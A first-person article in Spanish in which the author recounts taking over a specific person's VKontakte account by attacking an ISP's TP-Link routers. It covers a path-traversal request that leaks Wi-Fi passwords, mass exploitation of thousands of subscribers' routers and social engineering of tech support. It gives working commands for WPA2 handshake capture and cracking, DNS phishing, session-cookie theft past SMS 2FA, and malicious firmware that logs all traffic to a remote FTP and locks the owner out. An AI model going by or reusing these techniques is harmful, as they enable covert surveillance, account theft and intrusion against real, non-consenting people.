De hecho, este artículo discutirá no solo las vulnerabilidades en los enrutadores TP-LINK, sino también cómo hacer remotamente una estación de pirateo desde dichos enrutadores y qué se puede lograr con esto. Y también un poco sobre cómo se aplicó para obtener acceso a la página VKontakte. Esta es una especie de historia de un gran truco, que incluye todo lo anterior.Me tomó una vez obtener acceso a la página VK de una persona, mientras era lo más invisible posible para el usuario, y comencé a buscar formas. Lo primero que se me ocurrió fue dejar caer el troyano a la víctima, porque ya había preparado un TightVNC oculto con una conexión posterior para mi reproductor IP + VLC oculto, que también transmite el sonido del micrófono en tiempo real a mi IP. Sin embargo, no se definió en absoluto como malware en VirusTotal. Pero el artículo no trata sobre eso en absoluto. Como resultado, logré robar el troyano, así como obtener acceso al VK (simplemente copiando las cookies del navegador de la víctima), pero pronto el sistema operativo se reinstaló en la computadora del usuario y tuve que buscar otra forma.Lo único que sabía era qué proveedor tenía la víctima. Bueno, comencé escaneando todo el rango de este notorio proveedor de la ciudad N (por razones obvias, no llamaré al proveedor), y encontré algo maravilloso: el puerto 8080 está abierto en la mayoría de los hosts. De inmediato se hizo evidente que esta es una interfaz web enrutador Ya esperaba el administrador predeterminado (entonces habría sido un colapso completo para el proveedor), pero no, no pude encontrar la contraseña, aunque todavía encontré una docena de enrutadores donde estaba la contraseña predeterminada. Resultó que el 90% de todos los enrutadores son TP-Link TL-WR741ND y con menos frecuencia 740N, 841N, 941ND.
Aquí todo está muy claro: el proveedor alquila los mismos enrutadores a los usuarios, los configura durante la instalación y es demasiado flojo para que los usuarios cambien esta configuración. Se volvió más y más interesante. Seguramente en este caso debería haber algún patrón en la configuración, es decir, las contraseñas son probablemente las mismas. Decidí buscar en Google si había alguna vulnerabilidad en estos modelos y, para mi sorpresa en ese momento, encontré muchas de ellas. Lo primero que me llamó la atención fue el artículo "Puerta trasera en enrutadores TP-LINK" .Inmediatamente decidí verificar esta vulnerabilidad. Los archivos se cargaron en el enrutador, pero él no los aceptó, y luego comencé a pensar en qué se trata este nart.out. Este es un binario MIPS, que en esencia puede ser cualquier aplicación, solo necesita construirlo. Para empezar, comencé a buscar una versión preparada, porque antes, casi nunca tuve que lidiar con la compilación cruzada. Para mi sorpresa, justo en ese momento otra persona estaba interesada en este tema: Specx2 (por cierto, recomiendo leer su artículosobre cómo ensamblar una estación de pirateo desde un enrutador, lo que, de hecho, lo hice al final, solo de forma remota). Se las arregló para encontrar netcat compilado bajo MIPS en uno de los foros chinos, por cierto, exactamente en la sección donde se discutió esta vulnerabilidad. Este binario se lanzó con éxito bajo QEMU, se vertió con éxito en el enrutador a través de la puerta trasera encontrada, pero, por alguna razón, no fue posible conectarse al enrutador: simplemente no tenía una conexión. El camarada Specx2 sugirió que el punto puede ser que el puerto 2222 simplemente esté cerrado, y que de alguna manera debe hacer que netcat se ejecute en otro puerto.Intentamos compilar netcat para MIPS nosotros mismos, pero no pudimos establecer la opción de puerto predeterminada. Luego, usamos un desensamblador, pero igual de infructuoso. Y luego decidí abrir este binario con el Notepad ++ habitual y, para mi sorpresa, encontré el codiciado 2222. Este número podría cambiarse fácilmente a cualquier otro, lo principal es que el número de caracteres en el archivo no cambia. El puerto realmente cambió, todo fue probado en QEMU, pero aún no pudimos hacerlo funcionar en el enrutador.No abandoné mis intentos de obtener el control del enrutador y comencé a buscar otras vulnerabilidades. Pronto me encontré con esta publicación . Y de hecho: en los modelos 841 y 941 había una carcasa en/userRpmNatDebugRpm26525557/linux_cmdline.html
Solo aquí la contraseña del enrutador aún necesitaba ser conocida, y los usuarios de este proveedor básicamente tenían 741 modelos. Logré encontrar un enrutador con una contraseña predeterminada y este shell, aunque muy truncado. Por lo tanto, obtuve acceso al sistema de archivos del enrutador. Desafortunadamente, no pude encontrar nada de valor, y el shell no funcionó correctamente. ¿Realmente los desarrolladores están depurando a través de él?Parecía un callejón sin salida, durante mucho tiempo no tuve una sola pista, pero algo me dijo que todavía había vulnerabilidades. Y luego descubrí que el enrutador no filtra las solicitudes GET. Es decir, de manera predeterminada, cuando la contraseña se ingresa incorrectamente, se abre la página / help, pero si, por ejemplo, hacemos esta solicitud:GET IP:port/help/../../
Luego llegaremos a la raíz del sistema de archivos del enrutador. Por lo tanto, podemos descargar casi cualquier archivo del enrutador FS sin siquiera saber la contraseña. Esta resultó ser la primera vulnerabilidad que funciona con éxito de todo lo que encontré. Pero, ¿qué nos da si solo podemos descargar archivos y no sabemos dónde se almacena la contraseña?Después de una breve búsqueda, aún pude encontrar un archivo interesante en /tmp/ath0.ap_bss, que almacena la contraseña para Wi-Fi en forma clara. Inmediatamente decidí verificarlo en uno de los enrutadores de los usuarios de este proveedor.GET IP:8080/help/../../tmp/ath0.ap_bss
Al final resultó que, la gente trabaja allí bastante flojo, y pone las mismas contraseñas en la interfaz web del enrutador y Wi-Fi, de modo que, habiendo aprendido la contraseña de Wi-Fi con esta vulnerabilidad, reconoceremos automáticamente la contraseña de la interfaz web. Esto suele ser de 8 dígitos. Menos comúnmente, números con letras. Nuevamente, 8. De ahora en adelante, podría acceder al enrutador de casi cualquier usuario que no haya cambiado la contraseña establecida por el proveedor, y prácticamente nadie la cambió. Es cierto que algunos enrutadores todavía tenían la última versión de firmware, y esta vulnerabilidad no funcionaba, pero no había tantos. Inmediatamente descubrí otro punto interesante. El SSID de todos los puntos contenía la segunda mitad de la dirección IP interna del usuario, y el primero era el mismo para todos. Resultó lo mismo que en la cuenta personal en el sitio, la contraseña era la misma.Y esta segunda mitad de la IP interna fue el número de contrato. Es decir, por el número del acuerdo de usuario, fue posible calcular la IP interna.A pesar de que todos los usuarios tenían una IP externa real (aunque dinámica), decidí crear un servidor VPN en varios de los enrutadores de ASUS, donde había una contraseña predeterminada. Afortunadamente, esta característica se cose en el firmware predeterminado. Por lo tanto, obtuve acceso a la red interna del proveedor.Pero antes de piratear el VK todavía estaba lejos. Ni siquiera conocía a la víctima de IP. Ni externo ni interno. Hay muchas formas de averiguar la IP externa, y lo hice. Bueno, empecemos a estudiar. En primer lugar, respondió a las solicitudes de ping, que ya es bueno. En segundo lugar, sabía que la víctima también tenía un enrutador (esto también puede ser entendido por TTL, ya que la gran mayoría de los usuarios tienen Windows, y el TTL predeterminado de Windows es 128), con el mismo modelo seguro. Pero, para mi profundo pesar, todos los puertos de la víctima estaban cerrados y no había acceso al webmord desde el exterior. Pero sabía que en cualquier caso es a través de LAN, pero para esto necesitamos conectarnos a este enrutador a través de una interfaz inalámbrica, así como recoger la contraseña para el panel de administración, lo cual sería muy problemático, porque no pude encontrarlo en ese momento donde se almacena Aunque ahora ya seen qué se almacena/ dev / mtdblock3 , pero este bloque no está montado, por lo que es imposible leerlo a través de la vulnerabilidad descrita.También aprendí que el inicio de sesión desde la conexión VPN para acceder a Internet son las iniciales y el apellido del usuario o parte de él, y la contraseña es la misma. Empecé a pensar, ¿cómo puedo encontrar el usuario que necesito? ¿Tal vez aún cometí el error de definir la IP esa vez, y ya logró cambiar mientras intentaba conectarme con el webmord? Lo primero que me vino a la mente fue una simple enumeración de todos los enrutadores. Pero el número de suscriptores en el proveedor es bastante grande. Después de escanear todo el rango, encontré unos 3.000 enrutadores con acceso remoto a la interfaz web. Y era necesario encontrar entre ellos el correcto, si lo hubiera.Primero, intenté escribir un script que reconociera la contraseña utilizando la vulnerabilidad encontrada, y luego descargaría la página de configuración de la red y la guardaría. Pero en esto soy débil y, después de haber descartado esta idea por un tiempo, decidí usar un clicker regular. Con la pena a la mitad, yo (o más bien, el clicker) procesé todo el rango. Luego, busqué en los archivos de configuración (con la esperanza de encontrar a la víctima por apellido en el inicio de sesión desde la conexión vpn), pero no encontré nada que necesitara.Comencé a cavar más y descubrí que cualquier enrutador pirateado puede escanear los puntos de acceso que lo rodean a través de una interfaz basada en la web. Por lo tanto, tuve una idea loca: descifrar al vecino de la víctima con esta vulnerabilidad, de modo que con su enrutador pudiera intentar descifrar la contraseña de Wi-Fi de la víctima e ingresar a la interfaz web a través de la LAN, siempre que viaje un par de miles de kilómetros sin confianza en el éxito no era razonable, y simplemente no había posibilidad. Pero implementar lo que se concibió en ese momento parecía impensable. ¿Cómo encontrar un vecino?Recuerde que la segunda parte de la IP interna está contenida en el SSID. Coincide con el número de contrato. Sería bueno saber el SSID del punto de acceso del usuario para que pueda encontrarlo. ¿Qué he hecho? Sí, lo acabo de tomar y escribí al soporte técnico del proveedor, presentándome como usuario, supuestamente quiero pagar por Internet, pero olvidé el número de contrato. Y al instante recibí una respuesta, ya que sabía el nombre y la dirección. Por lo tanto, reconocí la IP interna de la víctima, que por cierto es estática (por lo que no tiene sentido calcular constantemente la dinámica externa, porque hay acceso a la red interna a través de VPN en uno de los enrutadores pirateados). También obtuve el SSID estimado de este usuario, así que ya tenía algo con qué trabajar.La tarea consistía en entrar en todos los enrutadores en una fila y uno de ellos para encontrar un enrutador con el codiciado SSID en el distrito. La tarea nuevamente no fue fácil, pero recuerde que tenemos acceso a su cuenta personal, donde se indica la dirección de la residencia del usuario. Después de realizar varios experimentos, me di cuenta de que hay un cierto patrón entre la IP interna y la dirección del usuario. Es decir, no es necesario que los vecinos estén en la misma subred, sino al menos en los vecinos, por ejemplo: 10.168.155.0 y 10.168.158.0. Entonces, al encontrar al usuario que vive cerca de la víctima por el método de búsqueda científica, comencé a clasificar todos los enrutadores en las subredes vecinas. Como resultado, no encontré el codiciado SSID, pero encontré 2 vecinos después de ver su dirección en mi cuenta. Me explotó la cabeza: cómo podría ser, encontré vecinos, pero no tengo el punto de acceso correcto cerca. Sin embargo, ella estaba, solo con un SSID cambiado,y adiviné cuál. Resultó ser fácil.¡Multa! Se encontró que el enrutador, como sus vecinos, había pasado mucho tiempo en esto. ¿Qué sigue? Necesitamos obtener de alguna manera la contraseña de la red inalámbrica, pero para esto necesitamos interceptar el protocolo de enlace y recoger la contraseña (la protección es WPA2-PSK), o recoger el PIN de WPS, porque WPS está habilitado de forma predeterminada, pero en la mayoría de los enrutadores bloqueado después de 10 intentos inválidos. ¿Cómo implementamos al menos algo de esto? De hecho, en los enrutadores de los vecinos no hay software especializado. Y luego se pensó en actualizar sus enrutadores OpenWRT, porque este firmware es el más cercano a Linux real, y también hay paquetes de aircrack-ng, reaver y muchos otros para él. Camarada Specx2incluso Bully se reunió debajo de él. Solo había un problema: ¿cómo volver a instalar el enrutador de forma remota y no perder el acceso? Después de todo, después de parpadear, todas las configuraciones se restablecen a sus valores predeterminados.Estuve atormentado con este problema durante mucho tiempo, pensé que era necesario recopilar todo el firmware desde cero desde la fuente y de alguna manera precontrolar la configuración allí, pero todo resultó ser mucho más simple. Ni siquiera sabía sobre la existencia de OpenWRT Image Builder. Lo descubrí bastante rápido, pero tuve que elegir el conjunto correcto de paquetes, porque el volumen del firmware no puede superar los 4 MB, y esto es pequeño, dado que muchos arrastran una gran lista de dependencias. El siguiente problema fue que el usuario obtuvo acceso a Internet solo después de establecer una conexión VPN con el servidor del proveedor, pero luego todo el tráfico entró en el túnel y perdí el contacto con el enrutador. Entonces, que mi vecino me perdone, lo dejé sin Internet. Después de flashear con éxito su enrutador (después de dejar a un par de docenas de usuarios sin Internet en el transcurso de experimentos fallidos), inmediatamente transferí la tarjeta de red del enrutador al modo monitorifconfig wlan0 down
iw reg set BO
iwconfig wlan0 txpower 27
airmon-ng start wlan0
Y lanzó airodump-ng .airodump-ng mon0 –c _ –bssid MAC__ –w /tmp/123
Interceptar un apretón de manos no fue difícil. Inmediatamente descargué el volcado del enrutador usando SCPscp –P port user@host:/tmp/123-01.cap ~/123.cap
Lo filtró de paquetes innecesarios en Wireshark:wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x04 || eapol
Y convertido al formato .hccap para Hashcat. Preparé un pequeño diccionario de antemano, lo que me ayudó a descifrar muchas redes inalámbricas, y también agregué todas las contraseñas posibles que podría usar este usuario.oclHashcat64.exe –m2500 –a0 123.hccap wordlist.txt
Afortunadamente, después de un par de segundos se encontró la contraseña. ¡Pero aún tenía que conectarse de alguna manera al enrutador en modo cliente! Solo entonces la WAN para el enrutador del vecino volverá a cambiar y perderé el acceso. Todavía no podía entender cómo resolver este problema, así que tuve que pedirle a una persona que hiciera un sacrificio, que iniciara sesión desde el teléfono y abriera el acceso remoto (ahora puedo suponer que solo tenía que agregar rutas estáticas al firmware por adelantado). Afortunadamente, la contraseña de la interfaz web resultó ser admin admin predeterminada.¡Todo salió bien! Ya he preparado un nuevo plan de acción. En mi IP real sin filtro, levanté el servidor DNS, donde cambié la entrada para vk.com y la cambié a mi IP, donde también se levantó el servidor HTTP con PHP. Allí, en consecuencia, se completó la falsificación con la página de autorización de vk.com, y en el enrutador el servidor DNS se cambió por el mío. Un usuario, que inició sesión en vk.com, descubrió mi falso, y por lo tanto la contraseña era mía, ¡el objetivo se logró!Durante mucho tiempo utilicé este método para obtener una contraseña, pero una vez que se activó la confirmación de inicio de sesión en vk.com, que, según los propios creadores, es casi imposible de sortear. La conclusión es que al autorizar desde un nuevo dispositivo / navegador, si ingresa la contraseña correcta, también debe ingresar el código de SMS, que se envía al número del propietario. Pero para este caso, hace tiempo que he preparado una teoría que aún no se ha probado.En primer lugar, traté de entender cómo el servidor determina que la entrada proviene de un nuevo dispositivo. Todo resultó ser bastante simple: se agrega una nueva Cookie al navegador (si mi memoria me sirve, se llama remixttpid), que se transmite solo a través de una conexión cifrada. Y por ello, el servidor ya determina el navegador desde el cual se permite el inicio de sesión. Si no me equivoco, el User-Agent también debe coincidir. Por lo tanto, es suficiente para que interceptemos esta cookie para iniciar sesión con éxito con una contraseña conocida, pero es bastante difícil hacer esto: necesitamos pasar el tráfico del usuario a través de mitmproxy, para que también inicie sesión en ese momento. Además, el usuario notará una advertencia en el navegador sobre la falta de coincidencia de un certificado. ¿Por qué estar tan pervertido, pensé?si puedes interceptar una sesión existente? Después de todo, la verificación del navegador se realiza solo en el momento del inicio de sesión, ¡pero no se realiza para ninguna solicitud de una sesión existente! Por lo tanto, solo necesitamos interceptarremixsid , que, además, se transmite a través de una conexión insegura, porque el usuario no usa https.El problema era solo ese remixsidcoincide con la IP del usuario, y si cambia, también se utilizan cookies para login.vk.com, que se transmiten solo a través de una conexión encriptada, y es más difícil interceptarlas. Pero tuve suerte. En ese momento, el proveedor comenzó a proporcionar acceso a Internet sin la necesidad de establecer una conexión VPN, lo que significa que podría simplemente levantar mi servidor PPTP y configurar una conexión a él en la configuración del enrutador del usuario. Así lo hice, todo el tráfico me atravesó y el usuario, sin saberlo, creó una sesión adjunta a mi IP, que fue interceptada sin ningún problema. A continuación, acabo de devolver la configuración anterior y uso la sesión interceptada (el beneficio de IP es estático). ¡Protección de SMS rota con éxito!Todo estaría bien, pero no me detuve allí. El hecho es que si el usuario comprende de repente cuál es el problema, simplemente puede cambiar la contraseña desde la configuración del enrutador y desde Wi-Fi. Para evitar esto, comencé a construir OpenWRT bajo un enrutador de usuario. Era necesario prever todo. Para un monitoreo conveniente del tráfico de víctimas, monté el servidor FTP como un sistema de archivos usando curlftpfs. Los vertederos están escritos allí. Todo este proceso se describe en este artículo . Inicialmente, planeé montar la nube como un sistema de archivos, para lo cual utilicé davfs2 , que tampoco fue fácil de construir con OpenWRT, pero el problema era que el archivo se escribió primero en la memoria caché y solo luego se vertió en la nube. En consecuencia, el tamaño del archivo estaba limitado por el tamaño del caché, que es extremadamente pequeño. Entonces elegí curlftpfs. El tráfico se registró con tcpdump y se dividió en archivos de 512 MB.tcpdump -i br-lan -w /root/ftp/dump/`date +"%d_%m_%Y_%T_"` -C 512Mb &
Donde / root / ftp / dump es nuestro sistema de archivos ftp. Todo este negocio se puede poner en inicio automático (/etc/rc.local).En general, el conjunto final de paquetes para el firmware OpenWRT Attitude Adjustment 12.09 se veía así:make image PROFILE=TLWR740 PACKAGES="curlftpfs tcpdump tinyproxy wireless-tools -ppp -ppp-mod-pppoe" FILES=files/
Curlftpfs ocupa la mayor parte de la memoria, pero nos da una cantidad ilimitada por ftp. Tcpdump hace posible registrar el tráfico de la víctima durante todo el día, y tinyproxy permite el acceso a Internet desde la IP de la víctima, es decir, al interceptar remixsid, por ejemplo, también podemos ingresar el VK del usuario desde su IP usando tinyproxy, o simplemente podemos redirigir su tráfico a su proxy de esta manera:iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to ip:port
En general, podemos dirigir completamente el tráfico. También puede instalar paquetes en un sistema de archivos ftp montado, para esto usamos opkg –dest , después de especificar el nombre y la dirección de nuestro sistema de archivos en /etc/opkg.conf . El resto de la configuración también debe registrarse previamente en los archivos apropiados./etc/firewall.user
/etc/config/firewall
/etc/config/network
/etc/config/system
/etc/config/wireless
/etc/rc.local
.
Todos estos archivos deben estar preparados de antemano para incrustarlos en el firmware. En realidad, ¿qué nos aporta esto además de las características adicionales? Pero el hecho es que el sistema de archivos squashfs es de solo lectura. En consecuencia, el usuario no podrá cambiar la configuración predeterminada que configuré de ninguna manera. Con toda su voluntad, incluso a través de telnet, no podrá conectarse, porque en rc.local , que está cosido en el firmware, hay una líneaecho –e “pass\npass” | passwd root
Es decir, el acceso a través de Telnet se corta inmediatamente después de cargar el enrutador, y solo yo tengo la contraseña SSH. Restablecer los valores predeterminados con un botón físico también fallará aquí, porque el valor predeterminado lo configuro yo y lo cose en el firmware. El objetivo se logra.En relación con la transferencia de todos los usuarios a IPoE en los últimos tiempos y el abandono de VPN, todos estaban detrás de NAT, incluidos los enrutadores en los que tenía una VPN para acceder a la red interna del proveedor. Además de aquellos que han activado el servicio de "IP estática", por supuesto. Pero hay un problema: aquellos que desean una IP real aún deben usar una VPN para acceder a Internet. Tuve que atormentarme y construir OpenWRT con un cliente PPTP cableado y configurado (y funciona por alguna razón realmente torcida), así como un servidor OpenVPN cableado y configurado. Muchos enrutadores murieron durante los experimentos, pero el resultado finalmente se logró. Después de haber vertido dicho firmware en varios enrutadores (de los pocos restantes con IP real), tengo acceso estable a la red interna utilizando OpenVPN.El problema con la conexión de PPTP VPN fue que los servidores del proveedor no admiten cifrado. Esto se solucionó agregando una línea a /etc/ppp/options.pptp .nomppe
De lo contrario, el proceso de configuración del cliente VPN PPTP y el servidor OpenVPN no fue diferente de los manuales de OpenWRT.Espero que este artículo sea interesante para alguien y alguien aprenda algo nuevo de él.UPD: Como ValdikSS escribió en los comentarios , en lugar de curlftpfs + tinyproxy, puede usar OpenSSH, que es más funcional.